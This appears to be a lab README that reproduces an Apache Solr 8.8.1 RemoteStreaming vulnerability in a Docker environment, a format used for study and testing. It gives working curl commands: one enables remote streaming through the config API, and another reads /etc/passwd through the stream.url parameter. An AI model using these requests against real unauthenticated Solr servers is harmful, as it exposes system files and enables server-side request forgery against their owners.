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44 lines
1.3 KiB
Markdown
44 lines
1.3 KiB
Markdown
# Apache Solr RemoteStreaming Arbitrary File Reading and SSRF
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[中文版本(Chinese version)](README.zh-cn.md)
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Apache Solr is an open-source search server. When Apache Solr does not have authentication enabled, an attacker can craft a request to enable specific configurations, potentially leading to Server-Side Request Forgery (SSRF) or arbitrary file reading vulnerabilities.
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References:
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- <https://mp.weixin.qq.com/s/3WuWUGO61gM0dBpwqTfenQ>
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## Environment Setup
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Execute the following command to start an Apache Solr 8.8.1 server:
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```
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docker compose up -d
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```
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After the server starts, you can access the Apache Solr management interface at `http://your-ip:8983/`.
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## Vulnerability Reproduction
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First, visit `http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json` to extract the database name:
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Send the following request to modify the configuration of the `demo` core and enable `RemoteStreaming`:
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```
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curl -i -s -k -X $'POST' \
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-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
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$'http://your-ip:8983/solr/demo/config'
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```
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Then, you can read arbitrary files through the `stream.url` parameter:
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```
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curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
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```
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